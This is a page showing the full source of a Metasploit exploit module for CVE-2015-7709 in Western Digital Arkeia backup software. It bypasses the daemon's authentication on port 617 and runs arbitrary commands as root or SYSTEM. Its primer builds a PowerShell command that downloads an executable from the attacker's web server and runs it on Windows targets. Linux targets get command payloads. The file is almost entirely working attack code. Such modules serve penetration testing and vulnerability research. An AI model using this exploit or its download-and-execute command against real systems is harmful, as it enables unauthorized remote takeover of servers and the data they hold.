Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/misc/arkeia_agent_exec.rb
19758 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GreatRanking
8
9
include Msf::Exploit::Remote::Tcp
10
include Msf::Exploit::Remote::HttpServer::HTML
11
include Msf::Exploit::EXE
12
include Msf::Exploit::FileDropper
13
14
def initialize(info = {})
15
super(
16
update_info(
17
info,
18
'Name' => 'Western Digital Arkeia Remote Code Execution',
19
'Description' => %q{
20
This module exploits a code execution flaw in Western Digital Arkeia version 11.0.12 and below.
21
The vulnerability exists in the 'arkeiad' daemon listening on TCP port 617. Because there are
22
insufficient checks on the authentication of all clients, this can be bypassed.
23
Using the ARKFS_EXEC_CMD operation it's possible to execute arbitrary commands with root or
24
SYSTEM privileges.
25
The daemon is installed on both the Arkeia server as well on all the backup clients. The module
26
has been successfully tested on Windows, Linux, OSX, FreeBSD and OpenBSD.
27
},
28
'Author' => [
29
'xistence <xistence[at]0x90.nl>' # Vulnerability discovery and Metasploit module
30
],
31
'License' => MSF_LICENSE,
32
'References' => [
33
[ 'CVE', '2015-7709' ],
34
[ 'EDB', '37600' ],
35
[ 'URL', 'https://seclists.org/fulldisclosure/2015/Jul/54' ]
36
],
37
'Privileged' => true,
38
'Stance' => Msf::Exploit::Stance::Aggressive,
39
'Payload' => {
40
'DisableNops' => true
41
},
42
'Targets' => [
43
[
44
'Windows',
45
{
46
'Arch' => ARCH_X86,
47
'Platform' => 'win',
48
}
49
],
50
[
51
'Linux',
52
{
53
'Arch' => ARCH_CMD,
54
'Platform' => 'unix',
55
'Payload' =>
56
{
57
'DisableNops' => true,
58
'Space' => 60000,
59
'Compat' => {
60
'PayloadType' => 'cmd cmd_bash',
61
'RequiredCmd' => 'perl python bash-tcp gawk openssl'
62
}
63
}
64
}
65
]
66
],
67
'DefaultTarget' => 0,
68
'DisclosureDate' => '2015-07-10',
69
'Notes' => {
70
'Reliability' => UNKNOWN_RELIABILITY,
71
'Stability' => UNKNOWN_STABILITY,
72
'SideEffects' => UNKNOWN_SIDE_EFFECTS
73
}
74
)
75
)
76
77
register_options(
78
[
79
Opt::RPORT(617),
80
OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the payload request', 15])
81
]
82
)
83
end
84
85
def check
86
connect
87
88
req = "\x00\x41"
89
req << "\x00" * 5
90
req << "\x73"
91
req << "\x00" * 12
92
req << "\xc0\xa8\x02\x74"
93
req << "\x00" * 56
94
req << "\x74\x02\xa8\xc0"
95
req << 'ARKADMIN'
96
req << "\x00"
97
req << 'root'
98
req << "\x00"
99
req << 'root'
100
req << "\x00" * 3
101
req << '4.3.0-1' # version?
102
req << "\x00" * 11
103
104
sock.put(req)
105
106
header = sock.get_once(6)
107
unless header && header.length == 6 && header[0, 4] == "\x00\x60\x00\x04"
108
disconnect
109
return Exploit::CheckCode::Unknown
110
end
111
112
data_length = sock.get_once(2)
113
114
unless data_length && data_length.length == 2
115
disconnect
116
return Exploit::CheckCode::Unknown
117
end
118
119
data_length = data_length.unpack('n')[0]
120
121
data = sock.get_once(data_length)
122
unless data && data.length == data_length
123
disconnect
124
return Exploit::CheckCode::Unknown
125
end
126
127
req = "\x00\x73"
128
req << "\x00" * 5
129
req << "\x0c\x32"
130
req << "\x00" * 11
131
132
sock.put(req)
133
header = sock.get_once(6)
134
unless header && header.length == 6 && header[0, 4] == "\x00\x60\x00\x04"
135
disconnect
136
return Exploit::CheckCode::Unknown
137
end
138
139
data_length = sock.get_once(2)
140
141
unless data_length && data_length.length == 2
142
disconnect
143
return Exploit::CheckCode::Unknown
144
end
145
146
data_length = data_length.unpack('n')[0]
147
148
data = sock.get_once(data_length)
149
unless data && data.length == data_length
150
disconnect
151
return Exploit::CheckCode::Unknown
152
end
153
154
req = "\x00\x61\x00\x04\x00\x01\x00\x11\x00\x00\x31\x00"
155
req << 'EN' # Language
156
req << "\x00" * 11
157
158
sock.put(req)
159
header = sock.get_once(6)
160
161
unless header && header.length == 6 && header[0, 4] == "\x00\x43\x00\x00"
162
disconnect
163
return Exploit::CheckCode::Unknown
164
end
165
166
data_length = sock.get_once(2)
167
168
unless data_length && data_length.length == 2
169
disconnect
170
return Exploit::CheckCode::Unknown
171
end
172
173
data_length = data_length.unpack('n')[0]
174
175
unless data_length == 0
176
disconnect
177
return Exploit::CheckCode::Unknown
178
end
179
180
# ARKADMIN_GET_CLIENT_INFO
181
req = "\x00\x62\x00\x01"
182
req << "\x00" * 3
183
req << "\x26"
184
req << 'ARKADMIN_GET_CLIENT_INFO' # Function to request agent information
185
req << "\x00\x32\x38"
186
req << "\x00" * 11
187
188
sock.put(req)
189
190
header = sock.get_once(6)
191
unless header && header.length == 6 && header[0, 4] == "\x00\x43\x00\x00"
192
disconnect
193
return Exploit::CheckCode::Unknown
194
end
195
196
data_length = sock.get_once(2)
197
198
unless data_length && data_length.length == 2
199
disconnect
200
return Exploit::CheckCode::Unknown
201
end
202
203
data_length = data_length.unpack('n')[0]
204
unless data_length == 0
205
disconnect
206
return Exploit::CheckCode::Unknown
207
end
208
209
req = "\x00\x63\x00\x04\x00\x00\x00\x12\x30\x00\x31\x00\x32\x38"
210
req << "\x00" * 12
211
212
sock.put(req)
213
214
# 1st packet
215
216
header = sock.get_once(6)
217
unless header && header.length == 6 && header[0, 4] == "\x00\x63\x00\x04"
218
disconnect
219
return Exploit::CheckCode::Unknown
220
end
221
222
data_length = sock.get_once(2)
223
224
unless data_length && data_length.length == 2
225
disconnect
226
return Exploit::CheckCode::Unknown
227
end
228
229
data_length = data_length.unpack('n')[0]
230
231
data = sock.get_once(data_length)
232
unless data && data.length == data_length
233
disconnect
234
return Exploit::CheckCode::Unknown
235
end
236
237
# 2nd packet
238
239
header = sock.get_once(6)
240
unless header && header.length == 6 && header[0, 4] == "\x00\x68\x00\x04"
241
disconnect
242
return Exploit::CheckCode::Unknown
243
end
244
245
data_length = sock.get_once(2)
246
247
unless data_length && data_length.length == 2
248
disconnect
249
return Exploit::CheckCode::Unknown
250
end
251
252
data_length = data_length.unpack('n')[0]
253
254
data = sock.get_once(data_length)
255
unless data && data.length == data_length
256
disconnect
257
return Exploit::CheckCode::Unknown
258
end
259
260
# 3rd packet
261
262
header = sock.get_once(6)
263
unless header && header.length == 6 && header[0, 4] == "\x00\x65\x00\x04"
264
disconnect
265
return Exploit::CheckCode::Unknown
266
end
267
268
data_length = sock.get_once(2)
269
270
unless data_length && data_length.length == 2
271
disconnect
272
return Exploit::CheckCode::Unknown
273
end
274
275
data_length = data_length.unpack('n')[0]
276
277
data = sock.get_once(data_length)
278
unless data && data.length == data_length && data.include?('You have successfully retrieved client information')
279
disconnect
280
return Exploit::CheckCode::Unknown
281
end
282
283
# 4th packet
284
285
header = sock.get_once(6)
286
unless header && header.length == 6 && header[0, 4] == "\x00\x69\x00\x04"
287
disconnect
288
return Exploit::CheckCode::Unknown
289
end
290
291
data_length = sock.get_once(2)
292
293
unless data_length && data_length.length == 2
294
disconnect
295
return Exploit::CheckCode::Unknown
296
end
297
298
data_length = data_length.unpack('n')[0]
299
300
data = sock.get_once(data_length)
301
unless data && data.length == data_length
302
disconnect
303
return Exploit::CheckCode::Unknown
304
end
305
306
if data =~ /VERSION.*WD Arkeia ([0-9]+\.[0-9]+\.[0-9]+)/
307
version = $1
308
vprint_status("#{rhost}:#{rport} - Arkeia version detected: #{version}")
309
if Rex::Version.new(version) <= Rex::Version.new('11.0.12')
310
return Exploit::CheckCode::Appears
311
else
312
return Exploit::CheckCode::Safe
313
end
314
else
315
vprint_status("#{rhost}:#{rport} - Arkeia version not detected")
316
return Exploit::CheckCode::Unknown
317
end
318
end
319
320
def exploit
321
if target.name =~ /Windows/
322
323
@down_file = rand_text_alpha(8 + rand(8))
324
@pl = generate_payload_exe
325
326
begin
327
Timeout.timeout(datastore['HTTP_DELAY']) { super }
328
rescue Timeout::Error
329
end
330
elsif target.name =~ /Linux/
331
communicate(payload.encoded)
332
return
333
end
334
end
335
336
def primer
337
@payload_url = get_uri
338
339
# PowerShell web download. The char replacement is needed because using the "/" character twice (like http://)
340
# is not possible on Windows agents.
341
command = "PowerShell -Command \"$s=[CHAR][BYTE]47;$b=\\\"#{@payload_url.gsub(/\//, '$($s)')}\\\";"
342
command << "(New-Object System.Net.WebClient).DownloadFile($b,'c:/#{@down_file}.exe');"
343
command << "(New-Object -com Shell.Application).ShellExecute('c:/#{@down_file}.exe');\""
344
345
communicate(command)
346
end
347
348
def communicate(command)
349
print_status("#{rhost}:#{rport} - Connecting to Arkeia daemon")
350
351
connect
352
353
print_status("#{rhost}:#{rport} - Sending agent communication")
354
355
req = "\x00\x41\x00\x00\x00\x00\x00\x70"
356
req << "\x00" * 12
357
req << "\xc0\xa8\x02\x8a"
358
req << "\x00" * 56
359
req << "\x8a\x02\xa8\xc0"
360
req << 'ARKFS'
361
req << "\x00"
362
req << 'root'
363
req << "\x00"
364
req << 'root'
365
req << "\x00" * 3
366
req << '4.3.0-1' # Client version ?
367
req << "\x00" * 11
368
369
sock.put(req)
370
371
header = sock.get_once(6)
372
unless header && header.length == 6 && header[0, 4] == "\x00\x60\x00\x04"
373
disconnect
374
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier")
375
end
376
377
data_length = sock.get_once(2)
378
379
unless data_length && data_length.length == 2
380
disconnect
381
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length")
382
end
383
384
data_length = data_length.unpack('n')[0]
385
386
data = sock.get_once(data_length)
387
unless data && data.length == data_length
388
disconnect
389
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet data")
390
end
391
392
req = "\x00\x73\x00\x00\x00\x00\x00\x0c\x32"
393
req << "\x00" * 11
394
395
sock.put(req)
396
header = sock.get_once(6)
397
unless header && header.length == 6 && header[0, 4] == "\x00\x60\x00\x04"
398
disconnect
399
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier")
400
end
401
402
data_length = sock.get_once(2)
403
404
unless data_length && data_length.length == 2
405
disconnect
406
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length")
407
end
408
409
data_length = data_length.unpack('n')[0]
410
411
data = sock.get_once(data_length)
412
unless data && data.length == data_length
413
disconnect
414
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet data")
415
end
416
417
req = "\x00\x61\x00\x04\x00\x01\x00\x1a\x00\x00"
418
req << rand_text_numeric(10) # "1234567890" - 10 byte numerical value, like a session ID?
419
req << "\x00"
420
req << 'EN' # English language?
421
req << "\x00" * 11
422
423
sock.put(req)
424
header = sock.get_once(6)
425
unless header && header.length == 6 && header[0, 4] == "\x00\x43\x00\x00"
426
disconnect
427
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier")
428
end
429
430
data_length = sock.get_once(2)
431
432
unless data_length && data_length.length == 2
433
disconnect
434
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length")
435
end
436
437
data_length = data_length.unpack('n')[0]
438
439
unless data_length == 0
440
disconnect
441
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unexpected length read")
442
end
443
444
req = "\x00\x62\x00\x01\x00\x02\x00\x1b"
445
req << 'ARKFS_EXEC_CMD' # With this function we can execute system commands with root/SYSTEM privileges
446
req << "\x00\x31"
447
req << "\x00" * 11
448
449
sock.put(req)
450
451
header = sock.get_once(6)
452
unless header && header.length == 6 && header[0, 4] == "\x00\x43\x00\x00"
453
disconnect
454
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier")
455
end
456
457
data_length = sock.get_once(2)
458
459
unless data_length && data_length.length == 2
460
disconnect
461
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length")
462
end
463
464
data_length = data_length.unpack('n')[0]
465
466
unless data_length == 0
467
disconnect
468
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unexpected length read")
469
end
470
471
req = "\x00\x63\x00\x04\x00\x03\x00\x15\x31\x00\x31\x00\x31\x00\x30\x3a\x31\x2c"
472
req << "\x00" * 11
473
474
sock.put(req)
475
476
command_length = '%02x' % command.length
477
command_length = command_length.scan(/../).map { |x| x.hex.chr }.join
478
479
req = "\x00\x64\x00\x04\x00\x04"
480
req << [command.length].pack('n')
481
req << command # Our command to be executed
482
req << "\x00"
483
484
print_status("#{rhost}:#{rport} - Executing payload through ARKFS_EXEC_CMD")
485
486
sock.put(req)
487
488
header = sock.get_once(6)
489
unless header && header.length == 6 && header[0, 4] == "\x00\x63\x00\x04"
490
disconnect
491
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier")
492
end
493
494
data_length = sock.get_once(2)
495
496
unless data_length && data_length.length == 2
497
disconnect
498
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length")
499
end
500
501
data_length = data_length.unpack('n')[0]
502
503
data = sock.get_once(data_length)
504
unless data && data.length == data_length
505
disconnect
506
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet data")
507
end
508
509
# 1st Packet
510
511
header = sock.get_once(6)
512
unless header && header.length == 6 && header[0, 4] == "\x00\x68\x00\x04"
513
disconnect
514
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier")
515
end
516
517
data_length = sock.get_once(2)
518
519
unless data_length && data_length.length == 2
520
disconnect
521
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length")
522
end
523
524
data_length = data_length.unpack('n')[0]
525
526
data = sock.get_once(data_length)
527
unless data && data.length == data_length
528
disconnect
529
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet data")
530
end
531
532
# 2st Packet
533
534
header = sock.get_once(6)
535
unless header && header.length == 6 && header[0, 4] == "\x00\x68\x00\x04"
536
disconnect
537
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier")
538
end
539
540
data_length = sock.get_once(2)
541
542
unless data_length && data_length.length == 2
543
disconnect
544
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length")
545
end
546
547
data_length = data_length.unpack('n')[0]
548
549
data = sock.get_once(data_length)
550
unless data && data.length == data_length
551
disconnect
552
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet data")
553
end
554
end
555
556
def on_request_uri(cli, request)
557
print_status("Request: #{request.uri}")
558
if request.uri == get_resource
559
print_status('Sending payload...')
560
send_response(cli, @pl)
561
register_files_for_cleanup("c:\\#{@down_file}.exe")
562
end
563
end
564
565
def autofilter
566
true
567
end
568
end
569
570